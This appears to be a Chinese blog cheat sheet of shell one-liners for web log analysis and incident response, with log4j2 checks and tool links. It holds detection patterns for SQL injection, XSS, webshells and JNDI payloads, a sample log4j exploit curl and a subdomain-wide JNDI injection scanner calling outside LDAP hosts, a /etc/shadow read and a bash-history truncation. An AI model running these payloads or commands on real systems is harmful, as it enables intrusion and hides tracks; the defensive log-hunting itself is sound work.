  • 分析日志文件下 2012-05-04 访问页面最高 的前20个 URL 并排序
cat access.log |grep '04/May/2012'| awk '{print $11}'|sort|uniq -c|sort -nr|head -20
  • 1
  • 按照时间范围过滤日志
sed -n '/2019-11-25 11:00:00/,/2019-11-25 12:00:00/p' xxx.log &gt; out.log
  • 1

PS:分析2015/8/15 到 2015/8/16 访问"/index.php?g=Member&amp;m=Public&amp;a=sendValidCode" 的IP倒序排列
cat log_file | egrep '15/Aug/2015|16/Aug/2015' | awk '{if($7 == "/index.php?g=Member&amp;m=Public&amp;a=sendValidCode") print $1,$7}'|sort|uniq -c|sort -nr

  • ($7~/\.php/) $7 里面包含.php的就输出,本句的意思是最耗时的一百个PHP页面
cat log_file |awk '($7~/\.php/){print $NF " " $1 " " $4 " " $7}'|sort -nr|head -100
  • 1
  • 查询某个IP的详细访问情况并按访问频率排序
grep '104.217.108.66' access.log |awk '{print $7}'|sort |uniq -c |sort -rn |head -n 100
  • 1
  • 列出当前服务器每一进程运行的数量,倒序排列
ps -ef | awk -F ' ' '{print $8 " " $9}' |sort | uniq -c |sort -nr |head -20
  • 1
  • 列出传输大小最大的几个文件
cat www.access.log |awk '($7~/\.php/){print $10 " " $1 " " $4 " " $7}'|sort -nr|
  • 1
  • 列出输出大于200000byte(约200kb)的页面以及对应页面发生次数
cat www.access.log |awk '($10 &gt; 200000 &amp;&amp; $7~/\.php/){print $7}'|sort -n|uniq -c|sor
  • 1
  • 去掉搜索引擎统计当天的页面
awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' |sort | uniq | wc -l
  • 1
  • 查看2018年6月21日14时这一个小时内有多少IP访问
awk '{print $4,$1}' log_file | grep 21/Jun/2018:14 | awk '{print $2}'| sort | uniq | wc -l
  • 1
  • 查看某一时间段的IP访问量(7-9点)
grep "07/Apr/2019:0[7-9]" access.log | awk '{print $1}' | sort | uniq -c| sort -nr | wc -l
  • 1
  • 如果日志最后一列记录的是页面文件传输时间,则有列出到客户端最耗时的页面
cat www.access.log |awk '($7~/\.php/){print $NF " " $1 " " $4 " " $7}'|sort -nr|head -100
  • 1
  • 列出传输时间超过 3 秒的前20条的页面
cat access.log|awk '($NF &gt; 3){print $7}'|sort -n|uniq -c|sort -nr|head -20
  • 1
  • 罗列php页面请求时间超过3秒的页面并统计前100个出现的次数
cat access.log|awk '($NF &gt; 1 &amp;&amp; $7~/\.php/){print $7}'|sort -n|uniq -c|sort -nr|head -100
  • 1
  • 列出最最耗时的页面(超过60秒的)的以及对应页面发生次数
cat access.log |awk '($NF &gt; 60 &amp;&amp; $7~/\.php/){print $7}'|sort -n|uniq -c|sort -nr|head -100
  • 1
  • 查看图片asp.x后缀名的日志
more xx.log |grep "asp. jpg"
  • 1
  • 捕捉各类典型的敏感目录文件扫描特征
grep "[[:space:]]404[[:space:]]" /usr/local/nginx/logs/access_bwapp.log | awk '{cnt[$1]++;}END{for(i in cnt){printf("%s\t%s\n", cnt[i], i);}}' | sort -n
  • 1

PS:https://github.com/loveshell/ngx_lua_waf/tree/master/wafconf">https://github.com/loveshell/ngx_lua_waf/tree/master/wafconf 网上开源WAF规则库正则可疑参考

  • 快速捕捉各类典型web漏扫工具特征awvs,appscan,netsparker,burpsuite,webcuriser,vega,owasp zap,nikto,w3af,nessus,openvas…
egrep -i --color=auto "AppScan|acunetix|Netsparker|WebCruiser|owasp|ZAP|vega|Nikto|nikto|w3af" /usr/local/nginx/logs/access_bwapp.log
  • 1
  • 快速捕捉各类典型sql注入特征union,select,and,insert,information_schema,or,xor,like,order by,null,sleep
egrep -i --color=auto "union(.*)select|select(.*)from" /usr/local/nginx/logs/access_bwapp.log
  • 1
  • 快速捕捉各类典型的代码或者命令执行特征eval,assert,system,passthru…
egrep -i --color=auto "system\(.*\)|eval\(.*\)" /usr/local/nginx/logs/access_bwapp.log
  • 1
  • 快速捕捉路径的日志
egrep -i --color=auto "portal.php" /usr/local/nginx/logs/access_bwapp.log | grep "[[:space:]]200[[:space:]]" | awk -F " " {'print $1'} | sort | uniq -c
  • 1
  • 快速捕捉各类典型 webshell文件命名特征(spy列,b374k,r57,c99,c100,Kacak,Zehir4,Webadmin,Webadmin,Spybypass,loveshell,hacker,hacked,shell,g.*,maer… tennc有个专门搜集webshell的仓库, 可以去那里, 把所有的 webshell 特征都提取一遍, 放到自己的正则中)
egrep -i --color=auto "r57|c99|c100|b374k|aspxspy|phpspy|aspxspy|wso" /usr/local/nginx/logs/access_bwapp.log
  • 1
  • 快速捕捉各类敏感的 代码命令执行,文件操作类参数特征(php?cmd= , php?filemanager= , php?upload=……)
egrep -i --color=auto "php\?cmd=|php\?code=|php\?exec=" /usr/local/nginx/logs/access_bwapp.log
  • 1
  • 快速捕捉从get或者post中提取各类典型的 包含,文件读取,任意文件下载(email,xpath,ldap,路径分隔符(./ ../../ …..)
egrep -i --color=auto "php\?file=|php\?page=|php\?include=|\.\/|php?\.\.\/" /usr/local/nginx/logs/access_bwapp.log
  • 1
  • 快速捕捉从get或者post中提取典型的 xss漏洞参数特征
egrep -i --color=auto "&lt;script&gt;(.*)&lt;/script&gt;|alert\(.*\)" /usr/local/nginx/logs/access_bwapp.log
  • 1
  • 快速捕捉eval、sytem 执行命令特征
find /usr/local/nginx/html/ -type f | xargs egrep "eval|system"
  • 1

快速提取各种敏感状态码:
● 404 其实,正常用户在网站页面上点击访问,碰到404的概率并不多,如果你发现短时间出现大批量的404,很有可能都是由于入侵者在尝试扫描各种敏感目录文件所致
● 像这种过于敏感的操作,现如今的waf一般都会进行拦截,短时间某个ip访问量剧增,再典型不过的攻击特征…
● 403 通常目标都会把一些不想让用户访问到的敏感路径,比如,网站后台,各类数据库的web入口,其他中间件的web入口,等等…
● 401 出现这个状态码,很有可能是用户正在尝试登录有http基础认证的页面时,账号密码错误的响应状态
● 500 典型的服务器端错误,通常是由于后端脚本或者数据库报错所致,比如,入侵者在尝试一些web漏洞时就很有可能会触发这样的错误,sql注入,代码执行…

grep "[[:space:]]500[[:space:]]" /usr/local/nginx/logs/access_bwapp.log | tee -a nginx_500_log.txt
grep "[[:space:]]404[[:space:]]" /usr/local/nginx/logs/access_bwapp.log
  • 1
  • 2
  • 定位到浏览器指纹
    ● Mozilla/4.0+ XXXXX
more xx.log |grep "Mozilla/4.0+ XXXXX" |grep 200
  • 1
  • 统计网站流量(G)
cat access.log |awk '{sum+=$10} END {print sum/1024/1024/1024}'
  • 1

匹配路由关于upload 关键词日志(这条命令上面其它命令有概况,就是匹配敏感关键字来清理数据量)

  • 统计爬虫
grep -E 'Googlebot|Baiduspider' /www/logs/access.2019-02-23.log | awk '{ print $1 }' | sort | uniq
  • 1
  • 蜘蛛分析,查看是哪些蜘蛛在抓取内容
/usr/sbin/tcpdump -i eth0 -l -s 0 -w - dst port 80 | strings | grep -i user-agent | grep -i -E 'bot|crawler|slurp|spider'
  • 1
  • 分析蜘蛛抓取最多的页面
cat your.log | grep 'Baiduspider/2.0' | awk '{print $7}' | sort | uniq -c | sort -nr | head -100
  • 1
  • 百度爬虫非200状态码抓取占比
cat test.log | grep 'Baiduspider/2.0' | awk '{if($9!="200"){n+=1}}END{print n/NR}'
  • 1
  • 找了些非200状态码的页面url
cat test.log | grep 'Baiduspider/2.0' | awk '{if($9!="200"){print $7,$9}}' | sort | uniq -c | sort -nr
  • 1
  • 统计所有状态码数
cat test.log | grep 'Baiduspider/2.0' | awk '{print $9}' |sort | uniq -c
  • 1
  • 按页面类型统计
- cat test.log | grep 'Baiduspider/2.0' | grep '/catalog/[0-9]' | wc -l
  • 1
  • 统计top 10目录抓取数
awk '{print $7}' test.log | egrep "[^/\w+/$]" | awk -F"/" '{print $2}' | sort | uniq -c | sort -nr | head -10
  • 1
  • 统计百度抓取次数
grep 'Baiduspider' access.log |wc -l
  • 1
  • 统计百度抓取404的次数
grep 'Baiduspider' access.log |grep '404' | wc -l
  • 1

提取出404页面,提交给百度进行处理,分析日志查看网站操作记录,以及找出假的百度蜘蛛IP等
网页版:http://www.loghao.com/“>http://www.loghao.com/
工具(建议虚拟机运行):
链接:https://pan.baidu.com/s/10BnzZNTul3x7vtwZcIFmiQ”>https://pan.baidu.com/s/10BnzZNTul3x7vtwZcIFmiQ 提取码:7nhx

  • 统计浏览器
cat /www/logs/access.2019-02-23.log | grep -v -E 'MSIE|Firefox|Chrome|Opera|Safari|Gecko|Maxthon' | sort | uniq -c | sort -r -n | head -n 100
  • 1
  • 查看当前TCP连接数
netstat -tan | grep "ESTABLISHED" | grep ":80" | wc -l
  • 1

Linux下查看Web服务器当前的并发连接数和TCP连接状态
● TCP连接的各个状态含义描述如下
● CLOSED 无连接是活动的或正在进行
● LISTEN 服务器在等待进入呼叫
● SYN_RECV 一个连接请求已经到达,等待确认
● SYN_SENT 应用已经开始,打开一个连接
● ESTABLISHED 正常数据传输状态/当前并发连接数
● FIN_WAIT1 应用说它已经完成
● FIN_WAIT2 另一边已同意释放
● ITMED_WAIT 等待所有分组死掉
● CLOSING 两边同时尝试关闭
● TIME_WAIT 另一边已初始化一个释放
● LAST_ACK 等待所有分组死掉
● ESTABLISHED参数后面的值就是当前系统的并发连接数了
方法1:

netstat -pnt | grep :80 | wc -l
  • 1

方法2:

netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
  • 1

方法3:

netstat -n | awk '/^tcp/ {++S[$NF]} END {for(key in S) print key,"\t",S[key]}'
  • 1
  • 输出每个ip的连接数,以及总的各个状态的连接数
netstat -n | awk '/^tcp/ {n=split($(NF-1),array,":");if(n&lt;=2)++S[array[(1)]];else++S[array[(4)]];++s[$NF];++N} END {for(a in S){printf("%-20s %s\n", a, S[a]);++I}printf("%-20s %s\n","TOTAL_IP",I);for(a in s) printf("%-20s %s\n",a, s[a]);printf("%-20s %s\n","TOTAL_LINK",N);}'
  • 1
  • 找查较多的SYN连接
netstat -an | grep SYN | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -nr | more
  • 1
  • 查看了连接数和当前的连接数
netstat -ant | grep $ip:80 | wc -l
netstat -ant | grep $ip:80 | grep EST | wc -l
  • 1
  • 2
  • 根据端口列进程
netstat -ntlp | grep 80 | awk '{print $7}' | cut -d/ -f1
  • 1
  • 查看apache当前并发访问数,对比httpd.conf中MaxClients的数字差距多少
netstat -an | grep ESTABLISHED | wc -l
  • 1
  • 用tcpdump嗅探80端口统计访问最高
tcpdump -i eth0 -tnn dst port 80 -c 1000 | awk -F"." '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -n
  • 1
  • 搜索1223123大小的文件
find / -size -1223124c -size +1223122c -exec ls -id {} \;
  • 1
  • 查看系统进程状态
netstat -anplt |grep  PID
  • 1
  • 发现不规则命名的异常进程、异常下载进程
ps aux |grep wget
  • 1

grep显示前后几行信息
● 标准unix/linux下的grep通过下面參数控制上下文:

​ grep -C 5 foo file 显示file文件里匹配foo字串那行以及上下5行
​ grep -B 5 foo file 显示foo及前5行
​ grep -A 5 foo file 显示foo及后5行
  • 1
  • 2
  • 3

● 查看grep版本号的方法是
​ grep -V

  • 从第1000行开始,显示2000行。即显示1000~2999行
cat input_file | tail -n +1000 | head -n 2000
  • 1

grep 查找含有某字符串的所有文件
grep -rn “hello,world!”

  • : 表示当前目录所有文件,也可以是某个文件名
    ● -r 是递归查找
    ● -n 是显示行号
    ● -R 查找所有文件包含子目录
    ● -i 忽略大小写
  • 收集被爆破用户名字典
grep "Failed password" /var/log/secure|perl -e 'while($_=&lt;&gt;){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
  • 1
  • 远程登录的帐号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
  • 1
  • 登录成功的日期、用户名、IP
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
  • 1
  • 统计一下登录成功的IP有哪些
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
  • 1
  • 统计爆破失败的日志
grep -o "Failed password" /var/log/secure|uniq -c
  • 1
  • ssh 日志
cat /var/log/secure
  • 1
  • 如果登录成功,则会有以下字样出现
cat /var/log/secure | grep "Accepted password for"
cat /var/log/secure | gre[ "Accepted publickey for"
  • 1
  • 2
  • 密码错误,权限问题
Failed password for
pam_unix(sshd:auth): authentication failure
  • 1
  • 2
  • 输出登录爆破的第一行
grep "Failed password" /var/log/secure|head -1
  • 1
  • 输出登录爆破的最后一行
grep "Failed password" /var/log/secure|tail -1
  • 1
  • 增加一个用户kali日志:
Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali
#grep "useradd" /var/log/secure
  • 1
  • 2
  • 3
  • 4
  • 5
  • 删除用户kali日志:
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'
grep "userdel" /var/log/secure
  • 1
  • 2
  • 3
  • 4
  • su 切换用户
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)`
  • 1
  • sudo授权执行
sudo -l
Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now
  • 1
  • 2

/var/log/yum.log

  • 软件安装升级卸载日志:
yum install gcc
[root@bogon ~]# more /var/log/yum.log
Jul 10 00:18:23 Updated: cpp-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:24 Updated: libgcc-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:24 Updated: libgomp-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:28 Updated: gcc-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:28 Updated: libgcc-4.8.5-28.el7_5.1.i686
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

删除历史操作记录,只保留前153行

sed -i '153,$d' .bash_history
  • 1

除root之外,是否还有其它特权用户(uid 为0)

awk -F: '$3==0{print $1}' /etc/passwd
  • 1

0x04 log4j2 应急措施

  • 搜索/var/log目录下未压缩的文件在文件夹和子文件夹存在的攻击日志
sudo egrep -I -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log
  • 1
  • 搜索文件夹/var/log和所有子文件夹中的压缩文件中的攻击日志
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'
  • 1
  • 搜索在下文中的用于waf绕过的使用的变量进行检查
sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns):'" \;

sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;
  • 1
  • 2
  • 3
  • 搜索在/var/log压缩文件在文件夹和子文件夹的用于waf绕过的使用的变量进行检查
sudo find /var/log/ -name "*.log.gz" -type f -exec sh -c "zcat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'"  \;
  • 1
  • 添加 -I(大写 i)来忽略二进制文件进行检查
sudo grep -I -i -r '${jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log
  • 1
gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path
  • 1
  • 根据对 jdk11+ 服务的基本 PoC 和 ysoserial CommonsCollections5 负载的测试,成功利用后受害应用程序的日志输出不包含${jdn:...},取而代之的是BadAttributeValueException: foo=1

1)正常请求

curl  -H '<logged header>: normalheadercontent' http://localhost/some/endpoint/

<timestamp> DEBUG [some.service.package.SomeClass] - <function name> - request <logged header> header with value of normalheadercontent
  • 1
  • 2
  • 3

2)成功请求 exploit

$ curl  -H '<logged header>: ${jndi:ldap://192.168.1.15:1337/e}' http://localhost/some/endpoint/
<timestamp> DEBUG [<some.service.package.SomeClass>] - <function name> - request <logged header> header with value of BadAttributeValueException: foo=1
  • 1
  • 2
  • Linux、Docker容器、Kubernetes Pods上的软件漏洞排查
find -name "*.jar" -exec sh -c 'unzip -l "{}" | grep -i --color=always JndiLookup.class' ; -print
  • 1
find -name ".jar" -exec sh -c 'unzip -l "{}" | grep -i --color=always log4j-core-2..jar' ; -print
  • 1
  • 一条命令检测(用于SRC挖掘)
    替换testog/a为你自己的dnslog
subfinder -d example.com -silent |puredns resolve -q |httprobe | while read url; do case1=$(curl -s $url -H "X-Api-Version: ${jndi:ldap://testog/a}"); case2=$(curl -s "$url/?test=${jndi:ldap://testog/a}"); case3=$(curl -s $url -H "User-Agent: ${jndi:ldap://testog/a}"); echo -e "\033[43mDOMAIN => $url\033[0m]" "\n" " Case1=> X-Api-Version: running-Ldap-payload" "\n" " Case1=> Useragent: running-Ldap-payload" "\n" " Case1=> $url/?test=running-Ldap-payload" "\n";done
  • 1

应急工具收集:

Nginx日志安全分析脚本

https://github.com/al0ne/nginx_log_check/blob/master/nginx_check.sh">https://github.com/al0ne/nginx_log_check/blob/master/nginx_check.sh

分别使用MRJob和Pandas对Nginx日志进行分析

https://github.com/daiguadaidai/nginx_log_parse">https://github.com/daiguadaidai/nginx_log_parse

Windows系统安全登录日志分析工具logonTracer汉化修正版

https://github.com/TheKingOfDuck/logonTracer">https://github.com/TheKingOfDuck/logonTracer

loginsight致力于打造一款日志分析的利器

https://github.com/compilelife/loginsight">https://github.com/compilelife/loginsight

GoAccess是一个开源的实时Web日志分析器和交互式查看器

https://github.com/CplusHua/Goaccess">https://github.com/CplusHua/Goaccess

windows日志一键分析小工具

https://github.com/dogadmin/windodws-logs-analysis">https://github.com/dogadmin/windodws-logs-analysis

分析web访问日志以及web目录文件属性,用于根据查找可疑后门文件的相关脚本。

https://github.com/mornone/webshell-find-tools">https://github.com/mornone/webshell-find-tools

WEB日志分析查找工具,支持任何文本日志文件的分析(Apache, Nginx),多关键词查找、关键词排除,轻松处理百万行日志内容

https://github.com/czyathainan/log-analysis">https://github.com/czyathainan/log-analysis

slf4j日志分析工具

https://github.com/aspwebchh/log-view">https://github.com/aspwebchh/log-view

新浪云应用SAE 日志下载和分析

https://github.com/cxcxcxcx/sae-logs">https://github.com/cxcxcxcx/sae-logs

基础分析Nginx日志的小工具

https://github.com/xiucaiwu/nginxlog_parse">https://github.com/xiucaiwu/nginxlog_parse

python日志分析

https://github.com/fengwenl/python2.7-web_log">https://github.com/fengwenl/python2.7-web_log

Windows系统日志嗅探分析工具

https://github.com/lougd/LogSniff">https://github.com/lougd/LogSniff

MongoDB日志分析

https://github.com/yuanyeXu/LogAnalysis">https://github.com/yuanyeXu/LogAnalysis

日志分析工具集合

https://github.com/lpflpf/logAnalysis">https://github.com/lpflpf/logAnalysis

攻击日志分析工具

https://github.com/Lucifer1993/ALB">https://github.com/Lucifer1993/ALB

应急响应日志分析小脚本

https://github.com/tide-emergency/yingji/tree/master/%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94%E4%B9%8B%E5%B7%A5%E5%85%B7%E7%AF%87">https://github.com/tide-emergency/yingji/tree/master/%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94%E4%B9%8B%E5%B7%A5%E5%85%B7%E7%AF%87

应急小脚本(运行脚本之前,需要输入正确的主机ip地址、ssh远程连接端口、ssh远程登录账户、ssh远程登录密码)

https://github.com/tide-emergency/yingji/blob/master/rizhi_find.py">https://github.com/tide-emergency/yingji/blob/master/rizhi_find.py

elk
https://www.elastic.co">https://www.elastic.co

scribe
https://github.com/facebook/scribe">https://github.com/facebook/scribe

chukwa
http://incubator.apache.org/chukwa/">http://incubator.apache.org/chukwa/

kafka
http://sna-projects.com/kafka/">http://sna-projects.com/kafka/

Flume
https://github.com/cloudera/flume/">https://github.com/cloudera/flume/

开源应急响应工具
https://github.com/Bypass007/Emergency-Response-Notes">https://github.com/Bypass007/Emergency-Response-Notes
https://github.com/grayddq/GScan.git">https://github.com/grayddq/GScan.git

 

参考链接

https://github.com/tide-emergency/yingji">https://github.com/tide-emergency/yingji

https://mp.weixin.qq.com/s/8iHxQbVn0V9IwqemNr7l_Q">https://mp.weixin.qq.com/s/8iHxQbVn0V9IwqemNr7l_Q

https://mp.weixin.qq.com/s/J02iFMXB6wk9QG6pcL6psw">https://mp.weixin.qq.com/s/J02iFMXB6wk9QG6pcL6psw

https://mp.weixin.qq.com/s/CtnHy9X7_csTwrG5KJvDjg">https://mp.weixin.qq.com/s/CtnHy9X7_csTwrG5KJvDjg

https://mp.weixin.qq.com/s/uT6_2H2cV32ghvxnFxw2Fw">https://mp.weixin.qq.com/s/uT6_2H2cV32ghvxnFxw2Fw

https://xianzhi.aliyun.com/forum/read/1723.html">https://mp.weixin.qq.com/s/F01p8PsDI13I1N5iZ2EVmw

https://xianzhi.aliyun.com/forum/read/1723.html">https://mp.weixin.qq.com/s/keg1fwEXXpGSH09IRzlPRQ

https://mp.weixin.qq.com/s/ruhg6-OIJFwtDYfPITnCwA">https://mp.weixin.qq.com/s/ruhg6-OIJFwtDYfPITnCwA

https://mp.weixin.qq.com/s/UG3ZWuJK5igrrDuGn-KO2Q">https://mp.weixin.qq.com/s/UG3ZWuJK5igrrDuGn-KO2Q

https://mp.weixin.qq.com/s/7v1NhFVxV4d42Wj793_sJw">https://mp.weixin.qq.com/s/7v1NhFVxV4d42Wj793_sJw

https://mp.weixin.qq.com/s/bjZJyvrQctqzNapWzwmb_A">https://mp.weixin.qq.com/s/bjZJyvrQctqzNapWzwmb_A

https://mp.weixin.qq.com/s/6sUszktKqlpp1LTqFfGCdg">https://mp.weixin.qq.com/s/6sUszktKqlpp1LTqFfGCdg

https://mp.weixin.qq.com/s/rTn_QKhK40mNEP9nwvukfw">https://mp.weixin.qq.com/s/rTn_QKhK40mNEP9nwvukfw

https://mp.weixin.qq.com/s/2o_IbmnJn9U7bojjQggVjQ">https://mp.weixin.qq.com/s/2o_IbmnJn9U7bojjQggVjQ

https://mp.weixin.qq.com/s/EbXQZJU-gTLUjDnH8fP3Gg">https://mp.weixin.qq.com/s/EbXQZJU-gTLUjDnH8fP3Gg

https://mp.weixin.qq.com/s/HvK1Hc77iX0CxQm8yis1IQ">https://mp.weixin.qq.com/s/HvK1Hc77iX0CxQm8yis1IQ

https://klionsec.github.io/2017/08/01/log-find/">https://klionsec.github.io/2017/08/01/log-find/

https://mp.weixin.qq.com/s/VOqtxwP1M72nafvWcYiZ3g">https://mp.weixin.qq.com/s/VOqtxwP1M72nafvWcYiZ3g

https://mp.weixin.qq.com/s/pYQ_7dk5_XYDhqNMSsGGQw">https://mp.weixin.qq.com/s/pYQ_7dk5_XYDhqNMSsGGQw

https://mp.weixin.qq.com/s/9w0UblLvyQnVAG8w9iaIpg">https://mp.weixin.qq.com/s/9w0UblLvyQnVAG8w9iaIpg

https://mp.weixin.qq.com/s/lxEJKUKL_kK8gD3dTom8XA">https://mp.weixin.qq.com/s/lxEJKUKL_kK8gD3dTom8XA


你以为你有很多路可以选择,其实你只有一条路可以走


声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/黑客灵魂/article/detail/969246
推荐阅读
相关标签
  

闽ICP备14008679号